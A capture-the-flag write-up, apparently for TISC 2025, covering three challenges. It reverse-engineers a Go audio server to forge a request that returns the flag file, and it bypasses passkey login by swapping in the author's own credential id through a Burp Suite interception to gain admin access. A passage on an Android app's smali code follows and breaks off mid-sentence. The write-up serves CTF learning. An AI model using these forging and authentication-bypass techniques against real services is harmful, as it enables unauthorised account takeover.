TISC 2025

The remote server

The link leads to a website that shows this:

This appears to be a mysterious music-playing device. The “play” and “pause” buttons behave as one might expect, controlling music output from the website, while the “stop” button stops the music and resets it to the start. The “next” button causes a new track to start playing. Interestingly, the track order used by the device appears to be non-deterministic; a new track is cued every time the page is reloaded, and the “next” button does not follow a fixed order either. Finally, the upper knob on the right controls playback speed, while the lower knob controls volume.

The page source of the website is minified, and did not reveal anything interesting after prettifying it in an IDE. It does link to a minified JavaScript file, script.min.js, which I assumed implemented the music player UI and so it did not seem worthwhile to unravel.

The website sends GET /health when first loaded, and then sends POST /?t=timestamp whenever “play” or “next” is clicked. The response to the POST request is base64-encoded, and decodes to an MP3 file (suggested by the fact that each binary blob begins with an ID3 header ).

In addition, each outbound POST request contained some raw binary data in its request body. Viewing it in a hex editor reveals a semi-repeating pattern every 12 bytes:

00000000  c3 97 c3 84 c2 93 3b c3  b5 c3 a6 c2 a8 c2 8a 2b  |......;........+|
00000010  00 00 00 1a 00 00 00 01  00 00 00 00 00 00 00 c2  |................|
00000020  8b 60 69 77 02 00 00 00  00 00 00 00 1c 6d 69 77  |.`iw.........miw|
00000030  03 00 00 00 00 00 00 00  c3 ad 71 69 77 04 00 00  |..........qiw...|
00000040  00 00 00 00 00 c3 85 75  69 77 01 00 00 00 00 00  |.......uiw......|
00000050  00 00 c3 ba 7a 69 77 04  00 00 00 00 00 00 00 42  |....ziw........B|
00000060  c2 88 69 77 06 00 00 00  03 00 00 00 58 c2 95 69  |..iw........X..i|
00000070  77 06 00 00 00 07 00 00  00 c3 a7 c2 99 69 77 06  |w............iw.|
00000080  00 00 00 00 00 00 00 c3  9f c2 9d 69 77 06 00 00  |...........iw...|
00000090  00 02 00 00 00 7f c2 a2  69 77 06 00 00 00 07 00  |........iw......|
000000a0  00 00 7c c2 a8 69 77 06  00 00 00 00 00 00 00 c2  |..|..iw.........|
000000b0  bd c2 ab 69 77 06 00 00  00 01 00 00 00 c3 b9 c2  |...iw...........|
000000c0  af 69 77 05 00 00 00 03  00 00 00 6c c2 b3 69 77  |.iw........l..iw|
000000d0  05 00 00 00 00 00 00 00  10 c2 ba 69 77 05 00 00  |...........iw...|
000000e0  00 05 00 00 00 73 c2 bd  69 77 05 00 00 00 07 00  |.....s..iw......|
000000f0  00 00 18 c3 81 69 77 05  00 00 00 03 00 00 00 43  |.....iw........C|
00000100  c3 85 69 77 05 00 00 00  01 00 00 00 5d c2 bd 6d  |..iw........]..m|
00000110  77 05 00 00 00 00 00 00  00 c3 ac c3 81 6d 77 05  |w............mw.|
00000120  00 00 00 01 00 00 00 c2  97 c3 84 6d 77 05 00 00  |...........mw...|
00000130  00 03 00 00 00 48 c3 86  6d 77 01 00 00 00 00 00  |.....H..mw......|
00000140  00 00 15 c3 89 6d 77 01  00 00 00 00 00 00 00 c2  |.....mw.........|
00000150  9b c3 94 6d 77 02 00 00  00 00 00 00 00 c2 91 c3  |...mw...........|
00000160  9e 6d 77 03 00 00 00 00  00 00 00 0e c3 a6 6d 77  |.mw...........mw|
00000170  01 00 00 00 00 00 00 00  c2 86 c3 ab 6d 77 03 00  |............mw..|
00000180  00 00 00 00 00 00 c3 9b  c3 b3 6d 77 01 00 00 00  |..........mw....|
00000190  00 00 00 00 2d c3 b7 6d  77 03 00 00 00 00 00 00  |....-..mw.......|
000001a0  00 41 c3 bc 6d 77 02 00  00 00 00 00 00 00 c2 ba  |.A..mw..........|
000001b0  c3 be 6d 77 01 00 00 00  00 00 00 00 66 01 6e 77  |..mw........f.nw|
000001c0  02 00 00 00 00 00 00 00  c3 b5 05 6e 77 01 00 00  |...........nw...|
000001d0  00 00 00 00 00 74 07 6e  77 02 00 00 00 00 00 00  |.....t.nw.......|
000001e0  00 c3 bd 0c 6e 77 04 00  00 00 00 00 00 00 c3 9f  |....nw..........|
000001f0  11 6e 77 04 00 00 00 00  00 00 00 22 1d 6e 77 04  |.nw........".nw.|
00000200  00 00 00 00 00 00 00 c3  8f 27 6e 77 04 00 00 00  |.........'nw....|
00000210  00 00 00 00 c3 b0 c3 8b  6f 77 04 00 00 00 00 00  |........ow......|
00000220  00 00 23 53 74 77 04 00  00 00 00 00 00 00 78 c3  |..#Stw........x.|
00000230  b9 77 77 03 00 00 00 00  00 00 00 76 52 79 77 04  |.ww........vRyw.|
00000240  00 00 00 00 00 00 00 43  55 79 77                 |.......CUyw|
0000024b

Each response contained a different and random MP3 file, corresponding to the random tracks played by the UI. Looking at the metadata of the MP3 files, they appear to be recordings from the early 20th century of a Victor Herbert Orchestra obtained from the Free Music Archive , except that the files from the SYNTRA server are smaller and more heavily compressed.

The timestamp in the URL query string also did not seem to matter, as replaying previous requests did not produce any error and also did not produce the same MP3 file. Indeed, removing the timestamp entirely—POST /—worked as well.

A local server

Next, we look into the provided file. A hex dump of the file shows an ELF header, indicating that it is executable.

$ hexdump -C syntra-server | head -n 5

00000000  7f 45 4c 46 02 02 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 3e 00 01 00 00 00  a0 84 47 00 00 00 00 00  |..>.......G.....|
00000020  40 00 00 00 00 00 00 00  90 01 00 00 00 00 00 00  |@...............|
00000030  00 00 00 00 40 00 38 00  06 00 40 00 19 00 16 00  |....@.8...@.....|
00000040  06 00 00 00 04 00 00 00  40 00 00 00 00 00 00 00  |........@.......|

We can run it in a Debian container to see what it does. Executing ./syntra-server does not do anything immediately, but netstat -lnptu shows that the process is listening on port 8080.

After restarting the container with port 8080 exposed, heading to http://127.0.0.1:8080/ in the browser (GET) produces a plaintext 404 response:

404 page not found

However, if we navigate to http://127.0.0.1:8080/health instead, we get a valid response. Interestingly, the response from this local server was different from the remote server; the local server responded with JSON

{
	"message": "Backend API service is running",
	"status": "ok"
}

while the remote server responded with plaintext

healthy

This would unfortunately become important to my attempt later.

Meanwhile, we can attempt the POST / request from above on the local server. This also produced a 404 response, but with a more promising error message:

{
	"error": "No MP3 files found"
}

Thus, this is a near-replica of the service running on the remote server, allowing us to dig into it for more information. As a first step, I tried a quick grep into the binary for the error strings from above.

$ grep -ab 'No MP3 files found' syntra-server

4664751:sigaction failedtime: bad [0-9]*GODEBUG: value "context canceledno renegotiationSignatureScheme(Content-LanguagehostLookupOrder=/etc/resolv.confnon-IPv4 addressnon-IPv6 addressunknown network no colon on lineapplication/jsonWww-Authenticateinvalid encodingImperial_AramaicMeroitic_CursiveZanabazar_Squareinvalid argumentinvalid exchangeobject is remotemessage too longno route to hostremote I/O errorregexp: Compile(allowmultiplevcsTLSv1.3-SHA2-256TLSv1.2-SHA2-256invalid dns nameRCodeFormatErrorunpacking headerafter object key^\d{2}[ ]?\d{3}$^\d{3}[ ]?\d{2}$^\d{3}[\-]\d{3}$^9[78][01]\d{2}$unclosed commentCloseCurlyQuote;ContourIntegral;DoubleDownArrow;DoubleLeftArrow;DownRightVector;LeftRightVector;LeftTriangleBar;LeftUpTeeVector;LeftUpVectorBar;LowerRightArrow;NotGreaterEqual;NotGreaterTilde;NotLeftTriangle;OverParenthesis;RightDownVector;ShortRightArrow;UpperRightArrow;bigtriangledown;circlearrowleft;curvearrowright;downharpoonleft;leftharpoondown;leftrightarrows;nLeftrightarrow;nleftrightarrow;ntrianglelefteq;rightleftarrows;rightsquigarrow;rightthreetimes;straightepsilon;trianglerighteq;vartriangleleft;NotHumpDownHump;NotSquareSubset;InstRuneAnyNotNLlength too largeavx512vpclmulqdqapplication/x-xzapplication/gzipapplication/fitsvideo/x-matroskaapplication/acadapplication/warcapplication/marcapplication/zstdapplication/lzipapplication/tzifimage/x-gimp-patimage/x-gimp-gbrppt/notesSlides/-----BEGIN PKCS7reflect.Value.Int%%!%c(big.Int=%s)seeker can't seekinvalid stream IDTransfer-EncodingCOMPRESSION_ERRORENHANCE_YOUR_CALMHTTP_1_1_REQUIREDHEADER_TABLE_SIZEIf-Modified-Sinceframe_ping_lengthtruncated headersif-modified-sincetransfer-encodingx-forwarded-protounencrypted_http2bogus greeting %qreset_idle_streamsetParent to selfMoved PermanentlyFailed DependencyToo Many Requestspidfd_send_signal1192092895507812559604644775390625invalid bit size too many handlersinvalid node typeunexpected resultunknown type kind has invalid namereflect: call of reflect.Value.Capreflect.Value.Lenreflect: New(nil)0123456789ABCDEFX0123456789abcdefxillegal hex digitcan't scan type: goroutine profileAllThreadsSyscallGC assist markingselect (no cases)sync.RWMutex.Lockwait for GC cycletrace proc statusselect (synctest)SIGINT: interruptSIGBUS: bus errorSIGCONT: continuesync.(*Cond).Wait: missing method notetsleepg on g0bad TinySizeClassruntime: pointer g already scannedmark - bad statusscanobject n == 0swept cached spanmarkBits overflowruntime: summary[runtime: level = , p.searchAddr = futexwakeup addr=, 0, {interval: {ns}}, nil) errno=results: got {r1=runtime/internal/internal/runtime/thread exhaustionlocked m0 woke upentersyscallblock spinningthreads=gp.waiting != nilunknown caller pc, synctest group stack: frame={sp:runtime: nameOff runtime: typeOff runtime: textOff corrupt zip file fractional seconddecryption failedhandshake failureillegal parametermissing extensionunrecognized namemultipartmaxpartsmessage too largeOld_North_ArabianOld_South_Arabianexec format errorpermission deniedno data availablewrong medium type from a write of unclosed tag <%s>winreadlinkvolume/etc/ssl/cert.peminvalid BMPStringinvalid IA5String060102150405Z0700mlkem: PCT failedin string literal^\d{5}[\-]?\d{3}$^(ASCN|STHL) 1ZZ$"true"false"null"bad character %#UDiacriticalAcute;DiacriticalGrave;DiacriticalTilde;DoubleRightArrow;DownArrowUpArrow;EmptySmallSquare;GreaterEqualLess;GreaterFullEqual;LeftAngleBracket;LeftUpDownVector;LessEqualGreater;NonBreakingSpace;NotRightTriangle;NotSupersetEqual;RightTriangleBar;RightUpTeeVector;RightUpVectorBar;UnderParenthesis;UpArrowDownArrow;circlearrowright;downharpoonright;ntrianglerighteq;rightharpoondown;rightrightarrows;twoheadleftarrow;vartriangleright;NotPrecedesEqual;NotSucceedsEqual;NotSucceedsTilde;missing closing )missing closing ]divisor too largeinteger too largeKAS-ECC-SSC P-256application/x-tarapplication/x-xarapplication/x-pdfapplication/x-msiapplication/x-oggapplication/x-srtapplication/x-tclapplication/x-amfapplication/x-dbfapplication/x-elfapplication/x-rpmapplication/dicomapplication/x-zipapplication/x-rarapplication/x-dwgmodel/gltf-binaryword/document.xmlword/settings.xmlppt/slideLayouts/ppt/slideMasters/ppt/notesMasters/ppt/presProps.xmlppt/viewProps.xml"MultiLineString"nextId too large:gin mode unknown: No MP3 files foundcannot be negativereflect.Value.Uintapplication/x-gzipFLOW_CONTROL_ERRORProxy-Authenticate404 page not foundframe_goaway_shortproxy-authenticateUNKNOWN_SETTING_%dconnection is idleunexpected type %Ttrailers_not_endedconnection refusedTemporary RedirectPermanent RedirectMethod Not AllowedExpectation Failedbad Content-Lengthvalue out of range298023223876953125X-Forwarded-Prefixreflect.Value.Elemreflect.Value.Sendreflect.Value.Typereflect: Zero(nil)unexpected newlineadaptivestackstartdontfreezetheworldtraceadvanceperiodtracebackancestorsgarbage collectionsync.RWMutex.RLockGC worker (active)stopping the worldwait until GC endsbad lfnode addresssystem page size (  but memory size /gc/pauses:seconds because dotdotdotruntime: npages = invalid skip valueruntime: range = {index out of rangeruntime:   gp: gp=runtime: getg:  g=forEachP: not done in async preempt

At the top of the grep result is the string GODEBUG, which suggests that this binary was compiled from Go. We can decompile it using Ghidra and examine its runtime behaviour using Delve .

Decompiling

Being unfamiliar with Go, I opted to decompile first. This immediately produced some useful function names that begin with main., including what I assumed to be the entrypoint at main.main.

However, not many strings were found. This is because Go does not use null-terminated strings like C, and instead packs all string constants in a contiguous block of memory (also seen in the grep result above) which Ghidra does not handle well. Therefore, string literals had to be searched for directly in memory (Search → Memory..., or the S hotkey), and string addresses in the decompiler output were shown with the names DAT_address until the target data were manually labelled as strings.

Later on, I found a script to identify string constants (under the section titled “Unrecognized Strings in Go Binaries”) which worked and made things easier.

Also, this article on the in-memory structure of Go data types is useful, in particular for that of strings and slices .

Finally, Go functions can return multiple values, and it is common practice to return two values in the form of result_or_nil, error_or_nil. To work with this in Ghidra, we need to define a struct type for each combination of return types used, e.g. a struct of string and error.

Returning to main.main, we see function names beginning with github.com/gin-gonic/gin., which indicate the Gin web framework. The important function calls are the two to github.com/gin-gonic/gin.(*RouterGroup).handle , which lead us to the handler functions main.main.func1 and main.main.func2.

func1 is much shorter, and does something with the strings "status" and "message", and so is the handler returning the JSON from GET /health from above.

This leaves func2 for POST /. The call tree for this function is as follows:

• main.main.func2
  • main.parseMetrics
  • main.determineAudioResource
    • main.evaluateMetricsQuality
      • main.computeMetricsBaseline

evaluateMetricsQuality returns a bool which, if true, causes determineAudioResource to return "assets/flag.mp3". This is probably what we want. If the return value is false, determineAudioResource does something involving "assets/music" instead—presumably select a music file at random to return.

Thus we need to figure out the conditions required for evaluateMetricsQuality to evaluate to true. The difficulty is that the decompiled code is quite messy for these functions as many of their argument and return types are still unclear. To fix that, we turn to the Go debugger.

Debugging

With the above function names, we can add some breakpoints in Delve (cheatsheet , documentation ).

However, if we try to start the local server with the debugger, we get an error:

# dlv exec syntra-server

could not launch process: not an executable file

That is strange, as we have already both executed and decompiled this file. If we examine the file type, we get this:

$ file syntra-server

syntra-server: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV)

I should have noticed at this point that the executable is allegedly in MSB, i.e. big-endian, format, whereas I would expect Linux on x86 to be little-endian. I did not, but I did re-examine the ELF header (field format ), which we dumped previously:

00000000  7f 45 4c 46 02 02 01 00  00 00 00 00 00 00 00 00  |.ELF............|

The byte at offset 0x5 represents the endianness of the ELF file, with 1 and 2 indicating little- and big-endian respectively. I did notice the unexpected value here, and so tried editing the byte to 1 in a hex editor to see what would happen:

$ file syntra-server-lsb

syntra-server-lsb: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=65fba19ba5a196f899328621aa0e77761fe4c4da, with debug_info, not stripped

The debugger was then able to execute the corrected binary.

Adding breakpoints to the functions of interest from above, we can step through them and examine their local variables after a request is received by the server. We can also see the value and type of their arguments. For instance, the first argument for evaluateMetricsQuality is of type main.MetricsData, which is a struct containing a main.MetricsHeader and a []main.ActionRecord (a slice of main.ActionRecords).

(dlv) whatis metrics

*main.MetricsData

(dlv) print metrics

(*main.MetricsData)(0xc00032b588)
*main.MetricsData {
        Header: main.MetricsHeader {
                SessionID: [8]uint8 [0,0,0,0,0,0,0,0],
                ActionCount: 0,
                Checksum: 0,},
        Actions: []main.ActionRecord len: 0, cap: 0, nil,}

However, I encountered many problems using Delve where there were many variables which had values that could not be read:

(dlv) args

metrics = (*main.MetricsData)(0xc00032b588)
~r0 = (unreadable empty OP stack)

(dlv) locals

expectedBaseline = (unreadable read out of bounds)

Likewise for many of the return values.

I thought at first that this was because I had started the debugger in a Docker container without the SYS_PTRACE capability , but adding it did not change anything, and I never did manage to resolve this issue.

Nonetheless, the types found above were enough to fix the function signatures back in Ghidra; the decompiled types were located in the type manager tree at syntra-server-lsb/DWARF/_UNCATEGORIZED_/. In particular, main.ActionRecord is a struct of size 0xc, or 12 bytes, which matches the semi-repeating pattern found previously.

Thereafter, it was just a matter of iteratively switching between the two to work out what each function does with the request.

Towards good-quality metrics

The function parseMetrics constructs a MetricsData instance from the request body as follows:

1. set metricsData.Header.SessionID to the first 8 bytes (0x0 to 0x7) of the request
2. set metricsData.Header.ActionCount to the next 4 bytes (0x8 to 0xb)
3. set metricsData.Header.Checksum to the next 4 bytes (0xc to 0xf)
4. check that the length of the request body matches the expected number of bytes, which is $\mathrm{<span\; class="lining"><code><var>metricsData</var>.Header.ActionCount</code></span>}\times 12+16$
5. check that metricsData.Header.Checksum matches the cumulative xor of metricsData.Header.ActionCount and every value in each ActionRecord of metricsData.Actions

If any of the checks fail, an error is returned instead of the main.MetricsData instance.

In func2, parseMetrics is only called if the request body is not empty. Otherwise, or if parseMetrics returns an error, an empty MetricsData is used. This is then passed into determineAudioResource and thereby to evaluateMetricsData.

The function evaluateMetricsData first calls computeMetricsBaseline to get another instance of MetricsData, stored in the local variable expectedBaseline, then checks that

1. the request MetricsData contains at least as many ActionRecords as the expectedBaseline
2. for each ActionRecord in the expectedBaseline, there is an equivalent ActionRecord at the corresponding corresponding in the request, counting backwards from the end

Two ActionRecords are considered equivalent if their Type are equal, and if their Value are also equal when Type is 5 or 6.

If all of these checks pass, the file at "assets/flag.mp3" is returned.

In order to get the expectedBaseline value, we once again turn to the debugger. This time, we only set a breakpoint at main.computeMetricsBaseline, then send a valid request containing at least one action record constructed with the following Python function:

def make_data(actions: Collection[tuple[int, int, int]]) -> bytes:
	action_count = len(actions)

	byte_sup = 2 ** 8
	dword_sup = 2 ** 32
	checksum = action_count % dword_sup
	for action in actions:
		checksum ^= action[0] ^ action[1] ^ (action[2] % byte_sup)

	data = (
		(0x1020304050607080).to_bytes(8)
		+ (action_count).to_bytes(4, byteorder='little')
		+ (checksum).to_bytes(4, byteorder='little')
	) + b"".join([struct.pack('<LLL', *action) for action in actions])

	return data

When the breakpoint is reached, we can step out of the function to get its return value. However, I again found that Delve was unable to read this value:

(dlv) so

> main.evaluateMetricsQuality() /app/main.go:94 (PC: 0x73e8bf)
Warning: debugging optimized function
Values returned:
        ~r0: (unreadable empty OP stack)

To work around this, note that the return type of the function is []main.ActionRecord. From the article about in-memory layout above , and with reference to Go’s calling convention , we expect the pointer to the first ActionRecord to be stored in register rax, and the length of the slice to be in rbx. Thus, we can take the value from rax and examine the memory at that address directly.

(dlv) regs

    Rip = 0x000000000073e8bf
    Rsp = 0x000000c00015f418
    Rax = 0x000000c0002e2600
    Rbx = 0x000000000000000c
    Rcx = 0x0000000000000010
    Rdx = 0x000000000000000c
    ...

(dlv) x -count 24 0x000000c0002e2600

0xc0002e2600:   0x01   0x00   0x00   0x00   0x00   0x00   0x00   0x00
0xc0002e2608:   0x00   0x00   0x00   0x00   0x05   0x00   0x00   0x00
0xc0002e2610:   0x03   0x00   0x00   0x00   0x00   0x00   0x00   0x00

(dlv) print *(*main.ActionRecord)(0x000000c0002e2600)

main.ActionRecord {Type: 1, Value: 0, Timestamp: 0}

This gives the first expected ActionRecord. Subsequently, we can print addresses at increasing offsets of $12$, e.g. print *(*main.ActionRecord)(0x000000c0002e2600 + 12), until the end of the slice, which in this case is after the 12th item. Thus, we can generate the required request body:

make_data([
	(1, 0, 0),
	(5, 3, 0),
	(6, 7, 0),
	(2, 0, 0),
	(5, 1, 0),
	(6, 2, 0),
	(1, 0, 0),
	(5, 6, 0),
	(6, 5, 0),
	(3, 0, 0),
	(5, 4, 0),
	(6, 0, 0),
])

If we upload a test file into the container at assets/flag.mp3 and then send the above request to the local server, the test file is sent back in the response.

Good-quality metrics for the remote server

However, when I sent the same request that worked locally to the remote server, I once again got back a random useless MP3 file, which was rather disheartening.

The function computeMetricsBaseline derives its output from a constant seed value stored in main.calibrationData. Considering that we have already seen that the local and remote server respond with different values to a GET /health request, I thought it natural that this calibration data would be different on the remote server, which would explain why my locally-working request failed there. I thus became convinced that the next step was to extract the calibration data from the remote server somehow.

So I spent almost two days combing through every line of the decompiled source code, searching for a way to elicit a different response from the server, such as by inducing it to conditionally crash and return an error rather than returning a proper MP3 file. But my efforts were in vain, and eventually I concluded that this was impossible.

What I did not entertain was the idea that the remote server might have had a change in the logic itself, and that it would have this while keeping the calibration data unchanged. For in working through the entire source code, it was clear that nowhere did the local server make use of the Header.SessionID of the MetricsData or the Timestamp of each ActionRecord, and that these values were irrelevant.

It was only when I had given up on the problem, when I was repeatedly re-submitting the same requests from before thoughtlessly, that I accidentally generated a request where the timestamps were all set to 1 rather than 0.

That worked. And I got flag.mp3.

This was a frustrating end to the problem, as I thought that it was misleading but in an unsporting way; a subtle change in logic on the remote server seems unreasonable when the calibration data is left unchanged.

The actual value of the flag is dictated in flag.mp3, but the heavy compression of the MP3 file made it quite incomprehensible. Thankfully it can also be read directly in the ID3 metadata of the file.

Exploring the website

The provided URL brought us to this homepage:

“Register” in the top right corner and “Enlist here” both link to /register. The “Log in” link in the top right corner leads to /login. Finally, the link in the top left corner links back to the homepage, shown above.

The source of these pages did not contain anything interesting. They each referred to app.js, which simply provided two utility functions for converting between binary representations. The source of the homepage did have the following comment at the bottom, which I thought might be a hint of some sort, but ultimately this proved to be irrelevant.

    <!-- All your base are belong to us. uzc -->

Both the registration and login pages have a form that only asks for the username. As the registration page explains, the website uses passkeys for authentication instead of passwords. However, I did not yet know what that entailed in practical terms as I had not used passkeys before.

On either page, clicking on the submission button did nothing unless a valid username was entered. From the page source, a valid username must be between 3 and 12 characters long, and must only contain ASCII letters and digits.

Registration (Part 1)

When attempting to register with a valid username, the registration form was a submitted to POST /register/auth. However, the resulting page simply said “Follow on-screen instructions”, with no further on-screen instructions.

Opening the browser console for some clues, I found the following error message which was not very helpful:

Passkey creation error: DOMException: The operation failed for an unknown transient reason auth:87:15
    createPasskey https://passkey.chals.tisc25.ctf.sg/register/auth:87
    <anonymous> https://passkey.chals.tisc25.ctf.sg/register/auth:43

I then tried a different browser, hoping for a better result, and got a helpful prompt:

Enabling Windows Hello (with a perfunctory login PIN) resolved this issue, and I could return to my original browser and get the expected verification prompt.

After verifying my identity, the page sent a request to POST /register with form data comprising of three fields: username, client_data_json, attestation_object. However, the response to this request was a 404:

404 Not Found

This is the part where the problem was broken. The registration with a passkey was supposed to work at this point, and the response to POST /register was supposed to be the homepage with a logged in user. However, I did not know this at the time, and it appeared to me that this 404 was just another part of the challenge. I tried to submit the same registration form in a different browser as well, and then in Android as well, but all of them gave the same broken 404 response.

Following this, when I tried to log in using the username I tried to register with, I got the following error message:

At the same time, when I tried to register again with the same username, I got an error message stating that the username is already taken.

It seems that upon the submission to POST /register, the server was able to successfully write the username to database, but somehow failed to do so with the passkey.

Exploring the website harder

Since I did not know that the brokenness of the registration form was unintended, I began looking for ways to bypass the 404 response.

First of all, the severe restriction on valid usernames was implemented in HTML on the client side. We should check if there are similar checks on the server side as well.

Sadly, a few experiments quickly proved that there were. I tried replaying earlier requests to POST /register/auth, with and without modifying the form fields, and the response was simply a 302 redirection back to GET /register. I then tried editing the local HTML to remove the constraint specified by the pattern="[a-zA-Z0-9]{3,12}" attribute, and then submitting the form, but this also resulted in the same redirection, except with an error message displayed:

I also tried to fuzz the website for other potential endpoints using ffuf . This revealed /member and /admin. The latter results in a 301 redirection to /notadmin, while both pages provided no useful information without being logged in.

Next, a closer look at the page source for POST /register/auth. The page source shows a hidden HTML form with three fields corresponding to the request observed earlier, and a JavaScript function that populates and submits it.

<form method="post" action="/register" id="registration-form">
  <input type="hidden" id="username" name="username" value="carrot">
  <input type="hidden" id="client_data_json" name="client_data_json">
  <input type="hidden" id="attestation_object" name="attestation_object">
</form>


<script>
  createPasskey();

  async function createPasskey() {
    const username = "carrot";

    try {
      const challenge = base64UrlToBuffer("Lxvx3uGFxMZr4xPcO02hb6hWMQ4HxZwDNjI1zymtW_M");

      const publicKeyOptions = {
        challenge: challenge,
        rp: {
          name: "passkey.tisc",
          id: "passkey.chals.tisc25.ctf.sg",
        },
        user: {
          id: new TextEncoder().encode(username),
          name: username,
          displayName: username
        },
        pubKeyCredParams: [
          { type: "public-key", alg: -7 },   // ES256
          { type: "public-key", alg: -257 }, // RS256
        ],
        authenticatorSelection: {
          authenticatorAttachment: "platform",
          userVerification: "required",
        },
        attestation: "none"
      };

      const credential = await navigator.credentials.create({
        publicKey: publicKeyOptions
      });

      console.log("WebAuthn Registration successful!");

      document.getElementById('client_data_json').value =
        bufferToBase64Url(credential.response.clientDataJSON);
      document.getElementById('attestation_object').value =
        bufferToBase64Url(credential.response.attestationObject);

      document.getElementById('registration-form').submit();

    } catch (err) {
      console.error('Passkey creation error:', err);
    }
  }
</script>

The createPasskey function calls navigator.credentials.create with a PublicKeyCredentialCreationOptions object, which initiates the creation and validation of a new passkey.

The variable challenge is set to a random-looking value. Interestingly, this value is directly embedded in the source code returned by the server, and its value changes every time the page is reloaded. This challenge is signed by the user’s private key (hidden and fully managed by the authenticator application, e.g. Windows Hello), which is presumably cryptographically secure.

What we can do is retrieve the credential id of the newly-created passkey; although the passkey was not saved on the server due to the 404 error, it is still available on the local system and could potentially be used for other purposes.

We can get the base64-encoded value of credential.response.attestationObject either by adding a breakpoint using the browser’s JavaScript debugger or by intercepting the outbound HTTP request. This attestationObject is a CBOR-encoded key–value map, where the key authData maps to yet another binary data structure, which can be decoded for the credential id using the PyPI package cbor2 and the built-in Python module struct :

attestation_object = cbor2.loads(attestation_object_cbor)
auth_data = attestation_object["authData"]
rp_id_hash, flags, sign_count, aaguid, credential_id_length = struct.unpack('! 32s B L 16s H', auth_data[:55])
credential_id = auth_data[55:(55 + credential_id_length)]
print(credential_id)

On identity

In the course of the attempts at registration, I encountered various usernames that have already been taken. What if we try to log in with one of these other usernames?

With a valid pre-existing username, e.g. asdf, the login form submits a request to POST /login/auth, whereupon there is again a prompt for verification. This prompt was not for the Windows Hello PIN like before, since the expected passkey uses a credential id that does not exist on the local system. Instead it asks for an external security device which I suppose in principle could have provided the required credential, but which in this case did not exist.

Looking at the page source for POST /login/auth, we see a similar story to POST /register/auth with a hidden form and a <script> that populates and submits it.

<form method="post" action="/login" id="auth-form">
  <input type="hidden" name="username" value="asdf">
  <input type="hidden" id="credential_id" name="credential_id">
  <input type="hidden" id="authenticator_data" name="authenticator_data">
  <input type="hidden" id="client_data_json" name="client_data_json">
  <input type="hidden" id="signature" name="signature">
</form>


<script>
async function startWebAuthnAuth() {
  console.log('WebAuthn login started for asdf');

  try {
    console.log('Prompting for passkey authentication');

    const credential = await navigator.credentials.get({
      publicKey: {
        challenge: base64UrlToBuffer("ko-HoGGwS4vI-BjOywQmeNFbaP04ZB-TkPvns4RkR70"),
        rpId: "passkey.chals.tisc25.ctf.sg",
        allowCredentials: [
{
  id: base64UrlToBuffer("JkwVBRWDsdPb-LUHH9A0UI_z-OSQ8Jg2zISFRgNXFoI"),
  type: "public-key",
},

        ],
        userVerification: "preferred",
      }
    });

    if (credential) {
      document.getElementById('credential_id').value = bufferToBase64Url(credential.rawId);
      document.getElementById('authenticator_data').value = bufferToBase64Url(credential.response.authenticatorData);
      document.getElementById('client_data_json').value = bufferToBase64Url(credential.response.clientDataJSON);
      document.getElementById('signature').value = bufferToBase64Url(credential.response.signature);
      document.getElementById('auth-form').submit();
    }
  } catch (error) {
    console.error('WebAuthn authentication failed:', error);
    alert('Authentication failed. Please try again.');
  }
}

startWebAuthnAuth();
</script>

As before, the JavaScript function triggers verification with a challenge which has a value embedded directly in the source code. Unlike before, the login script also has an id property, also specified directly in the source code. What if we changed this to the credential id that is available on our local system?

Since the id is passed into navigator.credentials.get in an anonymous ephemeral object, we can’t simply add a breakpoint in the debugger. Instead, I intercepted the inbound response from POST /login/auth and edited it in-flight using Burp Suite . This entailed generating and installing a local CA cert to allow Burp to act as a MITM proxy for HTTPS traffic, and then configuring the browser to use said network proxy. Once that was set up, I could define a rule on inbound traffic to automatically replace the original user’s id, seen above, with a credential id of my own.

However, when I tried to do this with a credential id generated from a previous failed registration, weird things started to happen. On the client side, the modified JavaScript triggered a verification prompt for my Windows Hello PIN as expected, but once that was submitted to the server at POST /login, it froze; the server failed to respond at all, not even with an error code. In fact, when I saved the cookie used in that frozen request and used for any subsequent request, the server would always respond with a plaintext error message

500 Internal Server Error

This was all very strange, and I am not sure if any of this intended. Perhaps it was because I used a credential id that did not have a corresponding passkey saved in the server’s database, which I believe was a condition that was never supposed happen.

Universality

As I continued to struggle with repeated attempts to register a username or work around the login form, it gradually occurred to me that the problem I was facing did not seem to have been shared by others; while I did find usernames that had already been created by others, I did not find them in the vast numbers that I might have expected if everyone were to have dealt with the same Sisyphean registration form that I faced.

More to the point, when trying to log in with the existing usernames that I did find, every one of them did have a passkey associated and did trigger the verification prompt. The only usernames for which I received the “No passkeys found for this account” error message were the ones that I had created.

Whatever was wrong was wrong for me only. This was surprising as I had already tried different browsers, and also tried an Android phone, and had always gotten the same result.

Eventually, I tried the Proton Pass browser extension which replaced Windows Hello. That worked. Imagine my surprise when I could register a username by submitting a simple form.

Once that worked, it was just a matter of repeating the id-replacement trick on the response from POST /login/auth when logging in with the username admin, which was one of the first usernames I had tried, and was also directly suggested by the /notadmin page. The admin’s expected id was "RrA41L0TIf-YWns_bmie8b1D-M9HNK1gprD_KCe7Ips".

Replacing it with my own—now properly registered—credential id, the login request to POST /login succeeds.

“Admin Dashboard” links to /admin, which, possessed with admin session cookies, no longer redirects and gives the flag.

Stage 1: Exploration

Stage1Activity.smali defines a class that extends AppCompatActivity . Starting with its onCreate (reference: android activity life cycle ), we have the following call tree:

• stage1Activity.onCreate
  • new signullAPI(...)
  • signullAPI.dummyCall
    • this.encryptBody
      • this.encryptString
  • signullAPI.getUrl("signature")
  • new Stage1Activity$1(...)
  • new Stage1Activity$2(...)
  • new Stage1Activity$3(...)
  • MySingleton.getInstance
    • new MySingleton(...)
      • MySingleton.getRequestQueue
  • mySingleton.addToRequestQueue
    • ...

Each of the Stage1Activity$n classes correspond to an anonymous inner class defined in the Java source. They have the following interfaces, revolving around a network request:

• Stage1Activity$1 implements com.android.volley.Response.Listener<JSONObject>
• Stage1Activity$2 implements com.android.volley.Response.ErrorListener
• Stage1Activity$3 extends com.android.volley.toolbox.JsonObjectRequest

The signullAPI constructor initialises private fields fqdn, csrfToken and access_token, the first of which is set to "https://127.16.0.175" while the rest are set to "". These fields are used to keep track of a user session.

Thereafter, signullAPI.dummyCall creates a hard-coded JSON object, {"test": "lolz"}, then encrypts it as a string to produce a final JSON in the format {"data": encrypted_string}. This encryption is done in signullAPI.encryptString, which uses Java’s javax.crypto.Cipher class in its "RSA/ECB/PKCS1PADDING" setting, with a hard-coded public key given in base64:

